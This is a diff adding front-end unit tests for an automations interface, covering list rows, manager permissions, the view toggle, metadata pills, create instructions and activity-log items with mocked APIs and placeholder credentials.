+ id: "local-1",
+ name: "Local 1",
+ host: "http://localhost:8000",
+ apiKey: "k",
+ kind: "local",
+ };
+
+ const insightAutomation: Automation = {
+ id: "auto-with-active-run",
+ name: "Digest",
+ prompt: null,
+ enabled: true,
+ trigger: { type: "cron", schedule_human: "cron" },
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ };
+
+ const insightsSpec: InterfaceListInsights = {
+ health: {
+ healthy: "Healthy",
+ failing: "Failing",
+ running: "Running",
+ disabled: "Disabled",
+ neverRun: "Never run",
+ checking: "Checking",
+ },
+ lastRun: { label: "Last run", never: "Never", justNow: "Just now" },
+ stats: {
+ runs: "Runs",
+ recentSuccess: "Success",
+ averageDuration: "Duration",
+ },
+ };
+
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ function Harness() {
+ const byId = useAutomationRunSummaries([insightAutomation]);
+ return (
+
+ );
+ }
+
+ function renderHarness() {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+
+
+ ,
+ );
+ }
+
+ it("shows the active run's phase using only the run-summaries fetch insights already makes — no extra request", async () => {
+ // Arrange: count every hit to the runs endpoint the card's insights
+ // already fetch (via useAutomationRunSummaries) — if displaying the
+ // phase required a second request, this would be > 1.
+ let callCount = 0;
+ server.use(
+ http.get("*/api/automation/v1/:id/runs", () => {
+ callCount += 1;
+ return HttpResponse.json({
+ runs: [
+ {
+ id: "run-active",
+ status: AutomationRunStatus.RUNNING,
+ conversation_id: null,
+ bash_command_id: null,
+ error_detail: null,
+ phase_code: "running_agent",
+ phase_label: null,
+ phase_updated_at: null,
+ started_at: "2026-01-01T09:00:00Z",
+ completed_at: null,
+ },
+ ],
+ total: 1,
+ });
+ }),
+ );
+
+ // Act
+ renderHarness();
+
+ // Assert: the phase renders ...
+ await screen.findByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT);
+ // ... and exactly one request was made — the pre-existing insights
+ // fetch, not a new one just for the phase.
+ expect(callCount).toBe(1);
+ });
+});
diff --git a/__tests__/components/automations/automation-list-row.permissions.test.tsx b/__tests__/components/automations/automation-list-row.permissions.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5802bbc4ffdc1d17811d7b537b9c400793f640b7
--- /dev/null
+++ b/__tests__/components/automations/automation-list-row.permissions.test.tsx
@@ -0,0 +1,145 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+ getCloudOrganizationMe,
+ getCloudOrganizations,
+} from "#/api/cloud/organization-service.api";
+import { AutomationListRow } from "#/components/features/automations/automation-list-row";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+// `automation-list-row.test.tsx` mocks the permission hooks wholesale. These
+// tests run the real hooks against a mocked `/me` service so the
+// creator-vs-manager rule for the enabled toggle is exercised end to end.
+vi.mock("#/api/cloud/organization-service.api", async (importOriginal) => ({
+ ...(await importOriginal<
+ typeof import("#/api/cloud/organization-service.api")
+ >()),
+ getCloudOrganizations: vi.fn(),
+ getCloudOrganizationMe: vi.fn(),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+ useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }),
+}));
+
+const ORG_ID = "org-1";
+
+const cloudBackend: Backend = {
+ id: "cloud-1",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud",
+};
+
+function makeAutomation(overrides: Partial = {}): Automation {
+ return {
+ id: "auto-1",
+ name: "Teammate digest",
+ prompt: "Summarize",
+ trigger: {
+ type: "cron",
+ schedule: "0 9 * * *",
+ schedule_human: "Daily at 09:00",
+ },
+ enabled: true,
+ user_id: "creator-user",
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ ...overrides,
+ };
+}
+
+function renderRow(automation: Automation) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+
+
+ ,
+ );
+}
+
+async function openActionsMenu(user: ReturnType) {
+ // Run now only renders once the caller's permissions have resolved.
+ await screen.findByTestId("automation-run-now-auto-1");
+ await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+}
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID });
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [],
+ currentOrgId: null,
+ });
+ // A manager (has manage_automations) who did not create the automation.
+ vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+ orgId: ORG_ID,
+ userId: "manager-user",
+ role: "admin",
+ permissions: ["view_automations", "manage_automations"],
+ });
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+});
+
+describe("AutomationListRow — non-creator manager", () => {
+ it("offers Turn off and Delete on an enabled automation", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ renderRow(makeAutomation({ enabled: true }));
+
+ // Act
+ await openActionsMenu(user);
+
+ // Assert
+ expect(
+ screen.getByRole("button", { name: I18nKey.AUTOMATIONS$TURN_OFF }),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }),
+ ).toBeInTheDocument();
+ });
+
+ it("hides Turn on but keeps Delete on a disabled automation", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ renderRow(makeAutomation({ enabled: false }));
+
+ // Act
+ await openActionsMenu(user);
+
+ // Assert
+ expect(
+ screen.queryByRole("button", { name: I18nKey.AUTOMATIONS$TURN_ON }),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/automation-list-row.test.tsx b/__tests__/components/automations/automation-list-row.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e2ff941fd4ff80eb95498b640b0742f2bec9e8d4
--- /dev/null
+++ b/__tests__/components/automations/automation-list-row.test.tsx
@@ -0,0 +1,225 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { AutomationListRow } from "#/components/features/automations/automation-list-row";
+import {
+ AutomationRunStatus,
+ type Automation,
+ type AutomationRun,
+} from "#/types/automation";
+import type { InterfaceListInsights } from "#/manifests/types";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ i18n: { language: "en" },
+ }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+ useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }),
+}));
+
+vi.mock("#/hooks/use-automation-permissions", () => ({
+ useAutomationPermissions: () => ({
+ canView: true,
+ canManage: true,
+ isLoading: false,
+ }),
+ useIsAutomationOwner: () => true,
+}));
+
+// The pinned package predates the `impact` field, so an entry carrying one is
+// appended to the real catalog.
+vi.mock("@openhands/extensions/automations", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ AUTOMATION_CATALOG: [
+ ...actual.AUTOMATION_CATALOG,
+ {
+ id: "widget-checker",
+ impact: {
+ basis: "completed-runs",
+ one: "1 widget check completed",
+ other: "{{count}} widget checks completed",
+ },
+ },
+ ] as typeof actual.AUTOMATION_CATALOG,
+ };
+});
+
+const automation: Automation = {
+ id: "automation-1",
+ name: "GitHub PR Reviewer",
+ prompt: "Review pull requests.",
+ enabled: true,
+ trigger: {
+ type: "event",
+ on: "pull_request.opened",
+ source: "github",
+ },
+ repository: "acme/repo",
+ model: "Claude",
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+};
+
+const insightsSpec = {
+ health: {
+ healthy: "Healthy",
+ failing: "Failing",
+ running: "Running",
+ disabled: "Disabled",
+ neverRun: "Never run",
+ checking: "Checking",
+ },
+ lastRun: { label: "Last run", never: "Never", justNow: "Just now" },
+ stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" },
+};
+
+function createRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: null,
+ bash_command_id: null,
+ error_detail: null,
+ started_at: "2026-01-02T00:00:00Z",
+ completed_at: "2026-01-02T00:02:00Z",
+ ...overrides,
+ };
+}
+
+describe("AutomationListRow", () => {
+ it("renders title, trigger meta, and action icons in a two-line list row", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("automation-list-row-automation-1"),
+ ).toBeInTheDocument();
+ expect(screen.getByText("GitHub PR Reviewer")).toBeInTheDocument();
+ expect(screen.getByText("pull_request.opened")).toBeInTheDocument();
+ expect(screen.getByText("GitHub")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("automation-pills-automation-1"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("automation-run-now-automation-1"),
+ ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW");
+ expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass(
+ "size-8",
+ );
+ });
+
+ it("shows last-run status, relative time, and a sparkline when insights are present", () => {
+ const latestRun = createRun({
+ started_at: new Date(Date.now() - 10 * 60_000).toISOString(),
+ completed_at: new Date(Date.now() - 8 * 60_000).toISOString(),
+ });
+
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("automation-last-run-automation-1"),
+ ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO");
+ expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("automation-activity-automation-1"),
+ ).toBeInTheDocument();
+ });
+
+ it("shows the value statement in the meta line", () => {
+ // Arrange — provenance joining back to a catalog entry with an impact
+ // declaration, and a summary carrying the lifetime completed count.
+ const latestRun = createRun();
+
+ // Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(
+ screen.getByTestId("automation-impact-automation-1"),
+ ).toHaveTextContent("4 widget checks completed");
+ });
+
+ it("opens the actions menu without triggering row navigation handlers", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ await user.click(
+ screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }),
+ );
+
+ expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/automations/automation-view-toggle.test.tsx b/__tests__/components/automations/automation-view-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..96d103aa7dc3afaf378f4916df44f1522417017f
--- /dev/null
+++ b/__tests__/components/automations/automation-view-toggle.test.tsx
@@ -0,0 +1,46 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { AutomationViewToggle } from "#/components/features/automations/automation-view-toggle";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+describe("AutomationViewToggle", () => {
+ it("opens a menu from the icon trigger and switches to list view", async () => {
+ const user = userEvent.setup();
+ const onChange = vi.fn();
+
+ render( );
+
+ const trigger = screen.getByTestId("automations-view-toggle");
+ expect(trigger).toHaveClass("size-9");
+ expect(trigger).toHaveAttribute("aria-haspopup", "menu");
+
+ await user.click(trigger);
+ await user.click(screen.getByTestId("automations-view-toggle-list"));
+
+ expect(onChange).toHaveBeenCalledWith("list");
+ });
+
+ it("does not open the menu or fire onChange when disabled", async () => {
+ // Arrange
+ const user = userEvent.setup();
+ const onChange = vi.fn();
+ render(
+ ,
+ );
+ const trigger = screen.getByTestId("automations-view-toggle");
+
+ // Act — try to open the menu
+ await user.click(trigger);
+
+ // Assert — menu items never render and onChange stays untouched
+ expect(trigger).toBeDisabled();
+ expect(
+ screen.queryByTestId("automations-view-toggle-list"),
+ ).not.toBeInTheDocument();
+ expect(onChange).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/automations/backend-not-configured.test.tsx b/__tests__/components/automations/backend-not-configured.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2259805c1e602bdea57ac21ea332b1cf76ce4a57
--- /dev/null
+++ b/__tests__/components/automations/backend-not-configured.test.tsx
@@ -0,0 +1,49 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { BackendUnavailable } from "#/components/features/automations/backend-not-configured";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => {
+ const translations: Record = {
+ [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_TITLE]:
+ "Automations Unavailable",
+ [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_MESSAGE]:
+ "The automations backend is not available right now.",
+ [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_RETRY]: "Retry",
+ };
+ return translations[key] || key;
+ },
+ }),
+}));
+
+describe("BackendUnavailable", () => {
+ it("renders the unavailable message", () => {
+ const onRetry = vi.fn();
+ render( );
+
+ expect(screen.getByText("Automations Unavailable")).toBeInTheDocument();
+ expect(
+ screen.getByText("The automations backend is not available right now."),
+ ).toBeInTheDocument();
+ });
+
+ it("displays the retry button", () => {
+ const onRetry = vi.fn();
+ render( );
+
+ const retryButton = screen.getByRole("button", { name: "Retry" });
+ expect(retryButton).toBeInTheDocument();
+ });
+
+ it("calls onRetry when retry button is clicked", () => {
+ const onRetry = vi.fn();
+ render( );
+
+ const retryButton = screen.getByRole("button", { name: "Retry" });
+ fireEvent.click(retryButton);
+
+ expect(onRetry).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/automations/build-automation-pills.test.tsx b/__tests__/components/automations/build-automation-pills.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..91a06dbe9df1e5e5919193131274e72df2236d7f
--- /dev/null
+++ b/__tests__/components/automations/build-automation-pills.test.tsx
@@ -0,0 +1,82 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { buildAutomationMetadataPills } from "#/components/features/automations/build-automation-pills";
+import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row";
+import type { Automation } from "#/types/automation";
+
+function buildAutomation(overrides: Partial = {}): Automation {
+ return {
+ id: "automation-1",
+ name: "Triage",
+ prompt: "Triage the issue.",
+ enabled: true,
+ trigger: { type: "event", on: "issue.updated", source: "linear" },
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ ...overrides,
+ };
+}
+
+function renderPills(pills: SkillCardPill[]) {
+ render(
+
+ {pills.map((pill) => (
+
+ {pill.node}
+
+ ))}
+
,
+ );
+}
+
+describe("buildAutomationMetadataPills", () => {
+ it("puts the event and source on separate pills", () => {
+ const pills = buildAutomationMetadataPills(buildAutomation(), "unused");
+
+ expect(pills.map((pill) => pill.id)).toEqual([
+ "event-trigger",
+ "event-source",
+ ]);
+
+ renderPills(pills);
+
+ expect(screen.getByTestId("pill-event-trigger")).toHaveTextContent(
+ "issue.updated",
+ );
+ expect(screen.getByTestId("pill-event-trigger")).not.toHaveTextContent(
+ "linear",
+ );
+ expect(screen.getByTestId("pill-event-source")).toHaveTextContent("Linear");
+ expect(screen.getByTestId("pill-event-source").firstElementChild).toHaveClass(
+ "py-0.5",
+ );
+ expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument();
+ });
+
+ it("renders a fallback icon when the source is not in the catalog", () => {
+ renderPills(
+ buildAutomationMetadataPills(
+ buildAutomation({
+ trigger: { type: "event", on: "alert.fired", source: "custom-pager" },
+ }),
+ "unused",
+ ),
+ );
+
+ expect(screen.getByTestId("pill-event-source")).toHaveTextContent(
+ "Custom-Pager",
+ );
+ expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument();
+ });
+
+ it("omits the source pill when the event has no source", () => {
+ const pills = buildAutomationMetadataPills(
+ buildAutomation({
+ trigger: { type: "event", on: "pull_request.opened" },
+ }),
+ "unused",
+ );
+
+ expect(pills.map((pill) => pill.id)).toEqual(["event-trigger"]);
+ });
+});
diff --git a/__tests__/components/automations/create-instructions.test.tsx b/__tests__/components/automations/create-instructions.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..85ba36936b5e9f81cfe3d033a61fd00a8e4b19db
--- /dev/null
+++ b/__tests__/components/automations/create-instructions.test.tsx
@@ -0,0 +1,123 @@
+import React from "react";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import { CreateInstructions } from "#/components/features/automations/create-instructions";
+import { I18nKey } from "#/i18n/declaration";
+import { useConversationStore } from "#/stores/conversation-store";
+import * as telemetry from "#/services/telemetry";
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => ({ data: { user_consents_to_analytics: true } }),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => {
+ const translations: Record = {
+ [I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON]: "Create Automation",
+ [I18nKey.AUTOMATIONS$CREATE_AUTOMATION_PROMPT]: "Create an automation",
+ [I18nKey.AUTOMATIONS$CREATE_INSTRUCTIONS_GUIDANCE]:
+ "Include what the automation should do, when it should run, and where to send the results.",
+ };
+ return translations[key] || key;
+ },
+ }),
+ Trans: ({
+ i18nKey,
+ components,
+ }: {
+ i18nKey: string;
+ components?: Record;
+ }) => {
+ if (i18nKey !== I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC) {
+ return i18nKey;
+ }
+
+ return (
+ <>
+ Start a new conversation and tell OpenHands to{" "}
+ {components?.example
+ ? React.cloneElement(
+ components.example,
+ {},
+ <>
+ {components.cmd
+ ? React.cloneElement(
+ components.cmd,
+ {},
+ "Create an automation",
+ )
+ : null}
+ {components.punct
+ ? React.cloneElement(components.punct, {}, ".")
+ : null}
+ >,
+ )
+ : null}
+ >
+ );
+ },
+}));
+
+function renderCreateInstructions() {
+ const value: NavigationContextValue = {
+ currentPath: "/automations",
+ conversationId: null,
+ isNavigating: false,
+ navigate: vi.fn(),
+ };
+
+ const result = render(
+
+
+ ,
+ );
+
+ return { ...result, navigate: value.navigate };
+}
+
+describe("CreateInstructions", () => {
+ let captureMock: ReturnType;
+
+ beforeEach(() => {
+ captureMock = vi
+ .spyOn(telemetry, "trackEvent")
+ .mockResolvedValue(undefined);
+ useConversationStore.setState({ messageToSend: null });
+ });
+
+ afterEach(() => {
+ captureMock.mockRestore();
+ });
+
+ it("captures automation_created_button with the active backend kind when Create Automation is clicked", async () => {
+ const user = userEvent.setup();
+ renderCreateInstructions();
+
+ await user.click(screen.getByTestId("automations-create-automation"));
+
+ expect(captureMock).toHaveBeenCalledWith(
+ "automation_created_button",
+ expect.objectContaining({ backend_kind: "local" }),
+ );
+ });
+
+ it("navigates to conversations with a prefilled prompt when Create Automation is clicked", async () => {
+ const user = userEvent.setup();
+ const setMessageToSend = vi.fn();
+ useConversationStore.setState({ setMessageToSend });
+ const { navigate } = renderCreateInstructions();
+
+ await user.click(screen.getByTestId("automations-create-automation"));
+
+ expect(navigate).toHaveBeenCalledWith("/conversations");
+ await waitFor(() => {
+ expect(setMessageToSend).toHaveBeenCalledWith("Create an automation");
+ });
+ });
+});
diff --git a/__tests__/components/automations/detail/active-status-badge.test.tsx b/__tests__/components/automations/detail/active-status-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..824ba8c06f823318e14efddf22d5e62e369133ef
--- /dev/null
+++ b/__tests__/components/automations/detail/active-status-badge.test.tsx
@@ -0,0 +1,23 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { ActiveStatusBadge } from "#/components/features/automations/detail/active-status-badge";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("ActiveStatusBadge", () => {
+ it.each([
+ [true, I18nKey.AUTOMATIONS$DETAIL$ACTIVE, "active-status-badge-active"],
+ [
+ false,
+ I18nKey.AUTOMATIONS$DETAIL$INACTIVE,
+ "active-status-badge-inactive",
+ ],
+ ])(
+ "renders the matching label and testid when active=%s",
+ (active, labelKey, testId) => {
+ render( );
+
+ expect(screen.getByText(labelKey)).toBeInTheDocument();
+ expect(screen.getByTestId(testId)).toBeInTheDocument();
+ },
+ );
+});
diff --git a/__tests__/components/automations/detail/activity-log-item.test.tsx b/__tests__/components/automations/detail/activity-log-item.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..780bf0a6a71d16c2a8c2dc2f36bf02f1c7c954d4
--- /dev/null
+++ b/__tests__/components/automations/detail/activity-log-item.test.tsx
@@ -0,0 +1,581 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+
+import { ActivityLogItem } from "#/components/features/automations/detail/activity-log-item";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+import { I18nKey } from "#/i18n/declaration";
+
+// In tests the i18n backend doesn't resolve translation values, so the
+// aria-label resolves to the raw key string. Match it explicitly.
+const LOGS_BUTTON_NAME = (name: string) =>
+ name.includes(I18nKey.AUTOMATIONS$DETAIL$LOGS_VIEW);
+
+// The modal is wired to react-query + the conversation lookup. The
+// ActivityLogItem tests focus on the trigger button; we mock the modal so
+// they don't need to bring up the entire query stack.
+vi.mock("#/components/features/automations/detail/run-logs-modal", () => ({
+ RunLogsModal: ({
+ isOpen,
+ onClose,
+ bashCommandId,
+ }: {
+ isOpen: boolean;
+ onClose: () => void;
+ bashCommandId: string | null;
+ }) =>
+ isOpen ? (
+
+
+ close
+
+
+ ) : null,
+}));
+
+const localBackend: Backend = {
+ id: "local-1",
+ name: "Local 1",
+ host: "http://localhost:8000",
+ apiKey: "k",
+ kind: "local",
+};
+
+function makeRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: "conv-1",
+ bash_command_id: "cmd-1",
+ error_detail: null,
+ started_at: "2026-01-01T10:00:00Z",
+ completed_at: "2026-01-01T10:02:00Z",
+ ...overrides,
+ };
+}
+
+function renderItem(run: AutomationRun) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+
+
+
+
+ ,
+ );
+}
+
+describe("ActivityLogItem — logs button", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("renders a logs button when the run has a bash_command_id", () => {
+ renderItem(makeRun());
+ // Use the short tooltip label to find the button.
+ expect(
+ screen.getByRole("button", { name: LOGS_BUTTON_NAME }),
+ ).toBeInTheDocument();
+ });
+
+ it("does not render a logs button when bash_command_id is null", () => {
+ renderItem(makeRun({ bash_command_id: null }));
+ expect(
+ screen.queryByRole("button", { name: LOGS_BUTTON_NAME }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("opens the logs modal when the button is clicked and passes the bash_command_id through", () => {
+ renderItem(makeRun({ bash_command_id: "cmd-xyz" }));
+
+ expect(screen.queryByTestId("logs-modal")).not.toBeInTheDocument();
+
+ fireEvent.click(screen.getByRole("button", { name: LOGS_BUTTON_NAME }));
+
+ const modal = screen.getByTestId("logs-modal");
+ expect(modal).toBeInTheDocument();
+ expect(modal.getAttribute("data-bash-command-id")).toBe("cmd-xyz");
+ });
+
+ it("renders the logs button inside the row link without breaking its href", () => {
+ renderItem(makeRun({ conversation_id: "conv-abc" }));
+
+ const link = screen.getByRole("link") as HTMLAnchorElement;
+ expect(link.getAttribute("href")).toBe("/conversations/conv-abc");
+ // The button lives inside the link, so the click handler must
+ // preventDefault + stopPropagation (implementation contract verified
+ // by the modal-opens test above) to avoid following the link.
+ expect(
+ link.contains(screen.getByRole("button", { name: LOGS_BUTTON_NAME })),
+ ).toBe(true);
+ });
+});
+
+describe("ActivityLogItem — Conversation not created label", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("hides the 'Conversation not created' label while the run is Pending without a conversation", () => {
+ // Arrange: a freshly-dispatched run that hasn't yet been linked to a
+ // conversation by the backend. The label would falsely imply terminal
+ // failure during this transient window.
+ const run = makeRun({
+ status: AutomationRunStatus.PENDING,
+ conversation_id: null,
+ bash_command_id: null,
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert
+ expect(
+ screen.queryByText((content) => content.includes("NO_CONVERSATION")),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the 'Conversation not created' label when the run has Failed without a conversation", () => {
+ // Arrange: a run that reached a terminal state without ever creating a
+ // conversation (e.g. sandbox provisioning error) — here the label is
+ // accurate and useful.
+ const run = makeRun({
+ status: AutomationRunStatus.FAILED,
+ conversation_id: null,
+ bash_command_id: null,
+ completed_at: "2026-01-01T10:00:30Z",
+ });
+
+ // Act
+ renderItem(run);
+
+ // Assert
+ expect(
+ screen.queryByText((content) => content.includes("NO_CONVERSATION")),
+ ).toBeInTheDocument();
+ });
+});
+
+describe("ActivityLogItem — task outcome display", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("shows a blocked task badge and task summary for a completed run", () => {
+ const run = makeRun({
+ status: AutomationRunStatus.COMPLETED,
+ error_detail: "HUBSPOT_API_KEY was unavailable.",
+ run_metadata: {
+ finish_tool_response: {
+ status: "blocked",
+ outcome_summary:
+ "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+ },
+ },
+ });
+
+ renderItem(run);
+
+ expect(
+ screen.getByText(I18nKey.AUTOMATIONS$DETAIL$BLOCKED),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(
+ "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+ ),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByText(I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByText("HUBSPOT_API_KEY was unavailable."),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows failed lifecycle errors as neutral row summaries", () => {
+ const run = makeRun({
+ status: AutomationRunStatus.FAILED,
+ error_detail: "The run stopped before the task finished.",
+ });
+
+ renderItem(run);
+
+ const summary = screen.getByText(
+ "The run stopped before the task finished.",
+ );
+ expect(summary).toBeInTheDocument();
+ expect(summary.className).not.toContain("oh-status-error");
+ });
+});
+
+describe("ActivityLogItem — timestamp fallback", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ vi.useRealTimers();
+ });
+
+ it("renders the user's local time instead of the Unix epoch when started_at is unset on a Pending run", () => {
+ // Arrange: the backend reports started_at as epoch-zero while a run is
+ // still Pending. Pin "now" so the assertion is deterministic.
+ vi.useFakeTimers();
+ vi.setSystemTime(new Date("2026-05-27T13:00:00Z"));
+ const run = makeRun({
+ status: AutomationRunStatus.PENDING,
+ started_at: "1970-01-01T00:00:00Z",
+ conversation_id: null,
+ bash_command_id: null,
+ });
+
+ // Act
+ const { container } = renderItem(run);
+
+ // Assert: the row reflects the current clock, not 1970.
+ expect(container.textContent).toContain("2026");
+ expect(container.textContent).not.toContain("1970");
+ });
+
+ it("renders the backend-provided started_at unchanged when it is a valid timestamp", () => {
+ // Arrange: pin "now" to a different year so we can prove the row uses
+ // started_at rather than the fallback substitution.
+ vi.useFakeTimers();
+ vi.setSystemTime(new Date("2030-01-01T00:00:00Z"));
+ const run = makeRun({ started_at: "2027-03-15T09:00:00Z" });
+
+ // Act
+ const { container } = renderItem(run);
+
+ // Assert
+ expect(container.textContent).toContain("2027");
+ expect(container.textContent).not.toContain("2030");
+ });
+});
+
+describe("ActivityLogItem — run cost", () => {
+ beforeEach(() => {
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("shows the accumulated LLM cost reported for the run", () => {
+ // Arrange
+ const run = makeRun({ cost: 0.4213 });
+
+ // Act
+ renderItem(run);
+
+ // Assert
+ expect(screen.getByText("$0.4213")).toBeInTheDocument();
+ });
+
